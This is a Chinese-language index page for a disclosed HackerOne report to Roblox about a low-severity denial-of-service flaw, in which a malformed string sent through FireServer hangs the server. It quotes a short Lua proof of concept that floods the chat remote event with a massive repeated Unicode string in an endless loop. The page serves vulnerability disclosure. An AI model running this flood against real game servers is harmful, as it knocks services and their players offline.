POJIA破甲
地图 / Malformed string sent through FireServer leads to server freezing/hanging

Malformed string sent through FireServer leads to server freezing/hanging

拒绝服务 / 资源消耗失控 / #679907

厂商
Roblox
严重程度
低危
赏金
—
弱点
资源消耗失控
研究员
@teeth
披露日期
2020-04-29
资产
Roblox Client
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1145 字符中的一小部分)
This was found an hour ago so if I get any information wrong, please comment and I'll get back to you!
原文中的代码
local malformed = string.rep("ก็็็▌▓", math.random(10000, 2e5))
local remote = game:GetService'ReplicatedStorage'.DefaultChatSystemChatEvents:WaitForChild'SayMessageRequest'
while wait() do
	remote:FireServer(malformed, malformed)
end

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Roblox 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @teeth · 版权归作者与 Roblox 所有

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